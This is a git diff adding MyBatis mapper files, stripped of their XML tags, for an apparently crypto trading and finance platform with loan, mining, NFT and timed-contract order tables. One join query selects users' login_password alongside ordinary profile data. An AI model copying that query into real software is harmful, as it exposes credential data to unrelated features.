update_time, + remark, + search_value, + odds, + repay_org, + is_freeze, + + + + #{amountMin}, + #{amountMax}, + #{cycleType}, + #{repayType}, + #{status}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{odds}, + #{repayOrg}, + #{isFreeze}, + + + + + update t_load_product + + amount_min = #{amountMin}, + amount_max = #{amountMax}, + cycle_type = #{cycleType}, + repay_type = #{repayType}, + status = #{status}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + odds = #{odds}, + repay_org = #{repayOrg}, + is_freeze = #{isFreeze}, + + where id = #{id} + + + + delete from t_load_product where id = #{id} + + + + delete from t_load_product where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TMarketsMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TMarketsMapper.xml new file mode 100644 index 0000000..8602bf1 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TMarketsMapper.xml @@ -0,0 +1,83 @@ + + + + + + + + + + + + + + + + select slug, fullname, website_url, status, kline, spot, futures from t_markets + + + + + + + + insert into t_markets + + slug, + fullname, + website_url, + status, + kline, + spot, + futures, + + + #{slug}, + #{fullname}, + #{websiteUrl}, + #{status}, + #{kline}, + #{spot}, + #{futures}, + + + + + update t_markets + + fullname = #{fullname}, + website_url = #{websiteUrl}, + status = #{status}, + kline = #{kline}, + spot = #{spot}, + futures = #{futures}, + + where slug = #{slug} + + + + delete from t_markets where slug = #{slug} + + + + delete from t_markets where slug in + + #{slug} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TMineFinancialMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TMineFinancialMapper.xml new file mode 100644 index 0000000..6e480c1 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TMineFinancialMapper.xml @@ -0,0 +1,191 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, title, icon, status, days, default_odds, min_odds, max_odds, time_limit, limit_min, limit_max, is_hot, sort, create_by, create_time, update_by, update_time, buy_purchase, avg_rate, coin, classify, basic_invest_amount, total_invest_amount, level, process, remain_amount, remark, purchased_amount, problem, prodect_introduction from t_mine_financial + + + + + + + + insert into t_mine_financial + + title, + icon, + status, + days, + default_odds, + min_odds, + max_odds, + time_limit, + limit_min, + limit_max, + is_hot, + sort, + create_by, + create_time, + update_by, + update_time, + buy_purchase, + avg_rate, + coin, + classify, + basic_invest_amount, + total_invest_amount, + level, + process, + remain_amount, + remark, + purchased_amount, + problem, + prodect_introduction, + + + #{title}, + #{icon}, + #{status}, + #{days}, + #{defaultOdds}, + #{minOdds}, + #{maxOdds}, + #{timeLimit}, + #{limitMin}, + #{limitMax}, + #{isHot}, + #{sort}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{buyPurchase}, + #{avgRate}, + #{coin}, + #{classify}, + #{basicInvestAmount}, + #{totalInvestAmount}, + #{level}, + #{process}, + #{remainAmount}, + #{remark}, + #{purchasedAmount}, + #{problem}, + #{prodectIntroduction}, + + + + + update t_mine_financial + + title = #{title}, + icon = #{icon}, + status = #{status}, + days = #{days}, + default_odds = #{defaultOdds}, + min_odds = #{minOdds}, + max_odds = #{maxOdds}, + time_limit = #{timeLimit}, + limit_min = #{limitMin}, + limit_max = #{limitMax}, + is_hot = #{isHot}, + sort = #{sort}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + buy_purchase = #{buyPurchase}, + avg_rate = #{avgRate}, + coin = #{coin}, + classify = #{classify}, + basic_invest_amount = #{basicInvestAmount}, + total_invest_amount = #{totalInvestAmount}, + level = #{level}, + process = #{process}, + remain_amount = #{remainAmount}, + remark = #{remark}, + purchased_amount = #{purchasedAmount}, + problem = #{problem}, + prodect_introduction = #{prodectIntroduction}, + + where id = #{id} + + + + delete from t_mine_financial where id = #{id} + + + + delete from t_mine_financial where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TMineOrderDayMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TMineOrderDayMapper.xml new file mode 100644 index 0000000..51f32d4 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TMineOrderDayMapper.xml @@ -0,0 +1,92 @@ + + + + + + + + + + + + + + + + + + select amount, odds, earn, plan_id, order_no, create_time, address, type, update_time from t_mine_order_day + + + + + + + + insert into t_mine_order_day + + amount, + odds, + earn, + plan_id, + order_no, + create_time, + address, + type, + update_time, + + + #{amount}, + #{odds}, + #{earn}, + #{planId}, + #{orderNo}, + #{createTime}, + #{address}, + #{type}, + #{updateTime}, + + + + + update t_mine_order_day + + odds = #{odds}, + earn = #{earn}, + plan_id = #{planId}, + order_no = #{orderNo}, + create_time = #{createTime}, + address = #{address}, + type = #{type}, + update_time = #{updateTime}, + + where amount = #{amount} + + + + delete from t_mine_order_day where amount = #{amount} + + + + delete from t_mine_order_day where amount in + + #{amount} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TMineOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TMineOrderMapper.xml new file mode 100644 index 0000000..3212fc4 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TMineOrderMapper.xml @@ -0,0 +1,161 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, adress, amount,coin,avg_rate, days, status, plan_id, plan_title, order_no, create_time, end_time, settle_time, accumula_earn, update_time, min_odds, max_odds, default_odds, admin_user_ids, type, collection_order, user_id, order_amount from t_mine_order + + + + + + + + insert into t_mine_order + + adress, + amount, + days, + status, + plan_id, + plan_title, + order_no, + create_time, + end_time, + settle_time, + avg_rate, + accumula_earn, + update_time, + min_odds, + max_odds, + default_odds, + admin_user_ids, + type, + coin, + collection_order, + user_id, + order_amount, + + + #{adress}, + #{amount}, + #{days}, + #{status}, + #{planId}, + #{planTitle}, + #{orderNo}, + #{createTime}, + #{endTime}, + #{settleTime}, + #{avgRate}, + #{accumulaEarn}, + #{updateTime}, + #{minOdds}, + #{maxOdds}, + #{defaultOdds}, + #{adminUserIds}, + #{type}, + #{coin}, + #{collectionOrder}, + #{userId}, + #{orderAmount}, + + + + + update t_mine_order + + adress = #{adress}, + amount = #{amount}, + days = #{days}, + status = #{status}, + plan_id = #{planId}, + plan_title = #{planTitle}, + order_no = #{orderNo}, + create_time = #{createTime}, + end_time = #{endTime}, + settle_time = #{settleTime}, + avg_rate = #{avgRate}, + accumula_earn = #{accumulaEarn}, + update_time = #{updateTime}, + min_odds = #{minOdds}, + max_odds = #{maxOdds}, + default_odds = #{defaultOdds}, + admin_user_ids = #{adminUserIds}, + type = #{type}, + coin = #{coin}, + collection_order = #{collectionOrder}, + user_id = #{userId}, + order_amount = #{orderAmount}, + + where id = #{id} + + + + delete from t_mine_order where id = #{id} + + + + delete from t_mine_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TMineUserMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TMineUserMapper.xml new file mode 100644 index 0000000..9f3e367 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TMineUserMapper.xml @@ -0,0 +1,63 @@ + + + + + + + + + + + + select user_id, id, time_limit from t_mine_user + + + + + + + + insert into t_mine_user + + user_id, + id, + time_limit, + + + #{userId}, + #{id}, + #{timeLimit}, + + + + + update t_mine_user + + id = #{id}, + time_limit = #{timeLimit}, + + where user_id = #{userId} + + + + delete from t_mine_user where user_id = #{userId} + + + + delete from t_mine_user where user_id in + + #{userId} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TMingOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TMingOrderMapper.xml new file mode 100644 index 0000000..f464ba4 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TMingOrderMapper.xml @@ -0,0 +1,146 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, amount, days, status, plan_id, plan_title, order_no, create_time, end_time, settle_time, accumula_earn, update_time, min_odds, max_odds, admin_user_ids, collection_order, user_id, order_amount from t_ming_order + + + + + + + + insert into t_ming_order + + amount, + days, + status, + plan_id, + plan_title, + order_no, + create_time, + end_time, + settle_time, + accumula_earn, + update_time, + min_odds, + max_odds, + admin_user_ids, + collection_order, + user_id, + order_amount, + + + #{amount}, + #{days}, + #{status}, + #{planId}, + #{planTitle}, + #{orderNo}, + #{createTime}, + #{endTime}, + #{settleTime}, + #{accumulaEarn}, + #{updateTime}, + #{minOdds}, + #{maxOdds}, + #{adminUserIds}, + #{collectionOrder}, + #{userId}, + #{orderAmount}, + + + + + update t_ming_order + + amount = #{amount}, + days = #{days}, + status = #{status}, + plan_id = #{planId}, + plan_title = #{planTitle}, + order_no = #{orderNo}, + create_time = #{createTime}, + end_time = #{endTime}, + settle_time = #{settleTime}, + accumula_earn = #{accumulaEarn}, + update_time = #{updateTime}, + min_odds = #{minOdds}, + max_odds = #{maxOdds}, + admin_user_ids = #{adminUserIds}, + collection_order = #{collectionOrder}, + user_id = #{userId}, + order_amount = #{orderAmount}, + + where id = #{id} + + + + delete from t_ming_order where id = #{id} + + + + delete from t_ming_order where id in + + #{id} + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TMingProductMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TMingProductMapper.xml new file mode 100644 index 0000000..dd2d8ab --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TMingProductMapper.xml @@ -0,0 +1,137 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, title, icon, status, days, default_odds, min_odds, max_odds, time_limit, limit_min, limit_max, sort, create_by, create_time, update_by, update_time, buy_purchase, coin, remark from t_ming_product + + + + + + + + insert into t_ming_product + + title, + icon, + status, + days, + default_odds, + min_odds, + max_odds, + time_limit, + limit_min, + limit_max, + sort, + create_by, + create_time, + update_by, + update_time, + buy_purchase, + coin, + remark, + + + #{title}, + #{icon}, + #{status}, + #{days}, + #{defaultOdds}, + #{minOdds}, + #{maxOdds}, + #{timeLimit}, + #{limitMin}, + #{limitMax}, + #{sort}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{buyPurchase}, + #{coin}, + #{remark}, + + + + + update t_ming_product + + title = #{title}, + icon = #{icon}, + status = #{status}, + days = #{days}, + default_odds = #{defaultOdds}, + min_odds = #{minOdds}, + max_odds = #{maxOdds}, + time_limit = #{timeLimit}, + limit_min = #{limitMin}, + limit_max = #{limitMax}, + sort = #{sort}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + buy_purchase = #{buyPurchase}, + coin = #{coin}, + remark = #{remark}, + + where id = #{id} + + + + delete from t_ming_product where id = #{id} + + + + delete from t_ming_product where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TMingProductUserMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TMingProductUserMapper.xml new file mode 100644 index 0000000..4acb7e2 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TMingProductUserMapper.xml @@ -0,0 +1,111 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select a.id, a.product_id, a.app_user_id, a.pledge_num, a.create_by, a.create_time, a.update_by, a.update_time, + a.search_value, a.remark, + u.user_id, u.login_name, u.login_password, u.phone, u.is_test, u.status, u.host, u.email, + p.coin, p.icon, p.title + from t_ming_product_user a + left join t_app_user u on u.user_id = a.app_user_id + left join t_ming_product p on p.id = a.product_id + + + + + + + + insert into t_ming_product_user + + product_id, + app_user_id, + pledge_num, + create_by, + create_time, + update_by, + update_time, + search_value, + remark, + + + #{productId}, + #{appUserId}, + #{pledgeNum}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{searchValue}, + #{remark}, + + + + + update t_ming_product_user + + product_id = #{productId}, + app_user_id = #{appUserId}, + pledge_num = #{pledgeNum}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + search_value = #{searchValue}, + remark = #{remark}, + + where id = #{id} + + + + delete from t_ming_product_user where id = #{id} + + + + delete from t_ming_product_user where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TNftOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TNftOrderMapper.xml new file mode 100644 index 0000000..50d55f1 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TNftOrderMapper.xml @@ -0,0 +1,102 @@ + + + + + + + + + + + + + + + + + + + + + select id, series_id, product_id, user_id, amount, status, remark, create_by, create_time, update_by, update_time, search_value from t_nft_order + + + + + + + + insert into t_nft_order + + series_id, + product_id, + user_id, + amount, + status, + remark, + create_by, + create_time, + update_by, + update_time, + search_value, + + + #{seriesId}, + #{productId}, + #{userId}, + #{amount}, + #{status}, + #{remark}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{searchValue}, + + + + + update t_nft_order + + series_id = #{seriesId}, + product_id = #{productId}, + user_id = #{userId}, + amount = #{amount}, + status = #{status}, + remark = #{remark}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + search_value = #{searchValue}, + + where id = #{id} + + + + delete from t_nft_order where id = #{id} + + + + delete from t_nft_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TNftProductMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TNftProductMapper.xml new file mode 100644 index 0000000..dfa27e2 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TNftProductMapper.xml @@ -0,0 +1,146 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, series_id, img_url, user_id, price, chain_type, author, hold_address, handling_fee, copyright_fee, des, status, sale_status, end_date, remark, create_by, update_by, create_time, update_time, search_value, del_flag from t_nft_product + + + + + + + + insert into t_nft_product + + series_id, + img_url, + user_id, + price, + chain_type, + author, + hold_address, + handling_fee, + copyright_fee, + des, + status, + sale_status, + end_date, + remark, + create_by, + update_by, + create_time, + update_time, + search_value, + del_flag, + + + #{seriesId}, + #{imgUrl}, + #{userId}, + #{price}, + #{chainType}, + #{author}, + #{holdAddress}, + #{handlingFee}, + #{copyrightFee}, + #{des}, + #{status}, + #{saleStatus}, + #{endDate}, + #{remark}, + #{createBy}, + #{updateBy}, + #{createTime}, + #{updateTime}, + #{searchValue}, + #{delFlag}, + + + + + update t_nft_product + + series_id = #{seriesId}, + img_url = #{imgUrl}, + user_id = #{userId}, + price = #{price}, + chain_type = #{chainType}, + author = #{author}, + hold_address = #{holdAddress}, + handling_fee = #{handlingFee}, + copyright_fee = #{copyrightFee}, + des = #{des}, + status = #{status}, + sale_status = #{saleStatus}, + end_date = #{endDate}, + remark = #{remark}, + create_by = #{createBy}, + update_by = #{updateBy}, + create_time = #{createTime}, + update_time = #{updateTime}, + search_value = #{searchValue}, + del_flag = #{delFlag}, + + where id = #{id} + + + + delete from t_nft_product where id = #{id} + + + + delete from t_nft_product where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TNftSeriesMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TNftSeriesMapper.xml new file mode 100644 index 0000000..1e50085 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TNftSeriesMapper.xml @@ -0,0 +1,115 @@ + + + + + + + + + + + + + + + + + + + + + + + + select id, name, chain_type, coin_url, trade_amount, trade_num, ave_amount, logo_url, create_by, create_time, update_by, update_time, remark, search_value, del_flag from t_nft_series + + + + + + + + insert into t_nft_series + + name, + chain_type, + coin_url, + trade_amount, + trade_num, + ave_amount, + logo_url, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + del_flag, + + + #{name}, + #{chainType}, + #{coinUrl}, + #{tradeAmount}, + #{tradeNum}, + #{aveAmount}, + #{logoUrl}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{delFlag}, + + + + + update t_nft_series + + name = #{name}, + chain_type = #{chainType}, + coin_url = #{coinUrl}, + trade_amount = #{tradeAmount}, + trade_num = #{tradeNum}, + ave_amount = #{aveAmount}, + logo_url = #{logoUrl}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + del_flag = #{delFlag}, + + where id = #{id} + + + + delete from t_nft_series where id = #{id} + + + + delete from t_nft_series where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TNoticeMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TNoticeMapper.xml new file mode 100644 index 0000000..b9bb76a --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TNoticeMapper.xml @@ -0,0 +1,147 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select notice_id, notice_title, notice_type, model_type, notice_content, comments_num, cover, view_num, expire_time, img_url, chained_url, detail_url, language_id, status, sort, remark, create_by, create_time, update_by, update_time, source from t_notice + + + + + + + + insert into t_notice + + notice_title, + notice_type, + model_type, + notice_content, + comments_num, + cover, + view_num, + expire_time, + img_url, + chained_url, + detail_url, + language_id, + status, + sort, + remark, + create_by, + create_time, + update_by, + update_time, + source, + + + #{noticeTitle}, + #{noticeType}, + #{modelType}, + #{noticeContent}, + #{commentsNum}, + #{cover}, + #{viewNum}, + #{expireTime}, + #{imgUrl}, + #{chainedUrl}, + #{detailUrl}, + #{languageId}, + #{status}, + #{sort}, + #{remark}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{source}, + + + + + update t_notice + + notice_title = #{noticeTitle}, + notice_type = #{noticeType}, + model_type = #{modelType}, + notice_content = #{noticeContent}, + comments_num = #{commentsNum}, + cover = #{cover}, + view_num = #{viewNum}, + expire_time = #{expireTime}, + img_url = #{imgUrl}, + chained_url = #{chainedUrl}, + detail_url = #{detailUrl}, + language_id = #{languageId}, + status = #{status}, + sort = #{sort}, + remark = #{remark}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + source = #{source}, + + where notice_id = #{noticeId} + + + + delete from t_notice where notice_id = #{noticeId} + + + + delete from t_notice where notice_id in + + #{noticeId} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TOptionRulesMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TOptionRulesMapper.xml new file mode 100644 index 0000000..26ac1f6 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TOptionRulesMapper.xml @@ -0,0 +1,85 @@ + + + + + + + + + + + + + + + + + select id, title, language, content, is_show, create_time, search_value, type from t_option_rules + + + + + + + + insert into t_option_rules + + title, + language, + content, + is_show, + create_time, + type, + search_value, + + + #{title}, + #{language}, + #{content}, + #{isShow}, + #{createTime}, + #{type}, + #{searchValue}, + + + + + update t_option_rules + + title = #{title}, + language = #{language}, + content = #{content}, + is_show = #{isShow}, + create_time = #{createTime}, + type = #{type}, + search_value = #{searchValue}, + + where id = #{id} + + + + delete from t_option_rules where id = #{id} + + + + delete from t_option_rules where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinMapper.xml new file mode 100644 index 0000000..ba431d1 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinMapper.xml @@ -0,0 +1,152 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, coin,logo,introduce, total_amount,purchase_limit,proportion,refer_coin, refer_market, show_symbol, price, raising_amount, raised_amount, participants_num, raising_time, begin_time, end_time, status, create_by, create_time, update_by, update_time, remark from t_own_coin + + + + + + + + insert into t_own_coin + + coin, + introduce, + logo, + total_amount, + purchase_limit, + refer_coin, + refer_market, + show_symbol, + price, + proportion, + raising_amount, + raised_amount, + participants_num, + raising_time, + begin_time, + end_time, + status, + create_by, + create_time, + update_by, + update_time, + remark, + + + #{coin}, + #{introduce}, + #{logo}, + #{totalAmount}, + #{purchaseLimit}, + #{referCoin}, + #{referMarket}, + #{showSymbol}, + #{price}, + #{proportion}, + #{raisingAmount}, + #{raisedAmount}, + #{participantsNum}, + #{raisingTime}, + #{beginTime}, + #{endTime}, + #{status}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + + + + + update t_own_coin + + coin = #{coin}, + introduce = #{introduce}, + logo = #{logo}, + total_amount = #{totalAmount}, + purchase_limit = #{purchaseLimit}, + refer_coin = #{referCoin}, + refer_market = #{referMarket}, + show_symbol = #{showSymbol}, + price = #{price}, + proportion = #{proportion}, + raising_amount = #{raisingAmount}, + raised_amount = #{raisedAmount}, + participants_num = #{participantsNum}, + raising_time = #{raisingTime}, + begin_time = #{beginTime}, + end_time = #{endTime}, + status = #{status}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + + where id = #{id} + + + + delete from t_own_coin where id = #{id} + + + + delete from t_own_coin where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinOrderMapper.xml new file mode 100644 index 0000000..4ae8600 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinOrderMapper.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + select id,user_id, order_id, own_id, own_coin, amount, number, price, status, admin_user_ids, admin_parent_ids, create_time, update_time from t_own_coin_order + + + + + + + + + insert into t_own_coin_order + + order_id, + user_id, + own_id, + own_coin, + amount, + number, + price, + status, + admin_user_ids, + admin_parent_ids, + create_time, + update_time, + + + #{orderId}, + #{userId}, + #{ownId}, + #{ownCoin}, + #{amount}, + #{number}, + #{price}, + #{status}, + #{adminUserIds}, + #{adminParentIds}, + #{createTime}, + #{updateTime}, + + + + + update t_own_coin_order + + order_id = #{orderId}, + user_id = #{userId}, + own_id = #{ownId}, + own_coin = #{ownCoin}, + amount = #{amount}, + number = #{number}, + price = #{price}, + status = #{status}, + admin_user_ids = #{adminUserIds}, + admin_parent_ids = #{adminParentIds}, + create_time = #{createTime}, + update_time = #{updateTime}, + + where id = #{id} + + + + delete from t_own_coin_order where id = #{id} + + + + delete from t_own_coin_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinSubscribeOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinSubscribeOrderMapper.xml new file mode 100644 index 0000000..8e8d971 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinSubscribeOrderMapper.xml @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + select id, subscribe_id, user_id, order_id, own_id, own_coin, amount_limit, num_limit, price, status, remark, create_time, update_time from t_own_coin_subscribe_order + + + + + + + + + + + + insert into t_own_coin_subscribe_order + + subscribe_id, + order_id, + user_id, + own_id, + own_coin, + amount_limit, + num_limit, + price, + status, + remark, + create_time, + update_time, + + + #{subscribeId}, + #{orderId}, + #{userId}, + #{ownId}, + #{ownCoin}, + #{amountLimit}, + #{numLimit}, + #{price}, + #{status}, + #{remark}, + #{createTime}, + #{updateTime}, + + + + + update t_own_coin_subscribe_order + + subscribe_id = #{subscribeId}, + order_id = #{orderId}, + user_id = #{userId}, + own_id = #{ownId}, + own_coin = #{ownCoin}, + amount_limit = #{amountLimit}, + num_limit = #{numLimit}, + price = #{price}, + status = #{status}, + remark = #{remark}, + create_time = #{createTime}, + update_time = #{updateTime}, + + where id = #{id} + + + + update t_own_coin_subscribe_order + set order_id = #{orderId} + where user_id = #{userId} and own_id = #{ownId} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TSecondCoinConfigMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TSecondCoinConfigMapper.xml new file mode 100644 index 0000000..61120d1 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TSecondCoinConfigMapper.xml @@ -0,0 +1,145 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + select id, symbol,market, status,show_flag, coin, sort, create_by, create_time, update_by, update_time, remark, search_value,logo, show_symbol,base_coin,type from t_second_coin_config + + + + + + + + + insert into t_second_coin_config + + symbol, + market, + status, + show_flag, + coin, + sort, + type, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + logo, + show_symbol, + base_coin, + + + #{symbol}, + #{market}, + #{status}, + #{showFlag}, + #{coin}, + #{sort}, + #{type}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{logo}, + #{showSymbol}, + #{baseCoin}, + + + + + update t_second_coin_config + + symbol = #{symbol}, + market = #{market}, + status = #{status}, + show_flag = #{showFlag}, + coin = #{coin}, + sort = #{sort}, + type = #{type}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + logo = #{logo}, + show_symbol = #{showSymbol}, + base_coin = #{baseCoin}, + + where id = #{id} + + + + delete from t_second_coin_config where id = #{id} + + + + delete from t_second_coin_config where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TSecondContractOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TSecondContractOrderMapper.xml new file mode 100644 index 0000000..f5f6803 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TSecondContractOrderMapper.xml @@ -0,0 +1,167 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, order_no, symbol, type, user_id, user_address, bet_content, open_result, status, bet_amount, reward_amount, compensation_amount, create_time, open_price, close_price, open_time, close_time, coin_symbol, base_symbol, sign, manual_intervention, rate ,admin_parent_ids ,rate_flag from t_second_contract_order + + + + + + + + insert into t_second_contract_order + + order_no, + symbol, + type, + user_id, + user_address, + bet_content, + open_result, + status, + bet_amount, + reward_amount, + compensation_amount, + create_time, + open_price, + close_price, + open_time, + close_time, + coin_symbol, + base_symbol, + sign, + manual_intervention, + admin_parent_ids, + rate, + rate_flag, + + + #{orderNo}, + #{symbol}, + #{type}, + #{userId}, + #{userAddress}, + #{betContent}, + #{openResult}, + #{status}, + #{betAmount}, + #{rewardAmount}, + #{compensationAmount}, + #{createTime}, + #{openPrice}, + #{closePrice}, + #{openTime}, + #{closeTime}, + #{coinSymbol}, + #{baseSymbol}, + #{sign}, + #{manualIntervention}, + #{adminParentIds}, + #{rate}, + #{rateFlag}, + + + + + update t_second_contract_order + + order_no = #{orderNo}, + symbol = #{symbol}, + type = #{type}, + user_id = #{userId}, + user_address = #{userAddress}, + bet_content = #{betContent}, + open_result = #{openResult}, + status = #{status}, + bet_amount = #{betAmount}, + reward_amount = #{rewardAmount}, + compensation_amount = #{compensationAmount}, + create_time = #{createTime}, + open_price = #{openPrice}, + close_price = #{closePrice}, + open_time = #{openTime}, + close_time = #{closeTime}, + coin_symbol = #{coinSymbol}, + base_symbol = #{baseSymbol}, + sign = #{sign}, + manual_intervention = #{manualIntervention}, + rate = #{rate}, + rate_flag = #{rateFlag}, + + where id = #{id} + + + + delete from t_second_contract_order where id = #{id} + + + + delete from t_second_contract_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TSecondPeriodConfigMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TSecondPeriodConfigMapper.xml new file mode 100644 index 0000000..794cb62 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TSecondPeriodConfigMapper.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + select id, second_id, period, odds, max_amount, min_amount, status, create_by, create_time, update_by, update_time, remark, search_value ,flag from t_second_period_config + + + + + + + + insert into t_second_period_config + + id, + second_id, + period, + odds, + max_amount, + min_amount, + status, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + flag, + + + #{id}, + #{secondId}, + #{period}, + #{odds}, + #{maxAmount}, + #{minAmount}, + #{status}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{flag}, + + + + + update t_second_period_config + + second_id = #{secondId}, + period = #{period}, + odds = #{odds}, + max_amount = #{maxAmount}, + min_amount = #{minAmount}, + status = #{status}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + flag = #{flag}, + + where id = #{id} + + + + delete from t_second_period_config where id = #{id} + + + + delete from t_second_period_config where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TSpontaneousCoinMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TSpontaneousCoinMapper.xml new file mode 100644 index 0000000..0a72915 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TSpontaneousCoinMapper.xml @@ -0,0 +1,106 @@ + + + + + + + 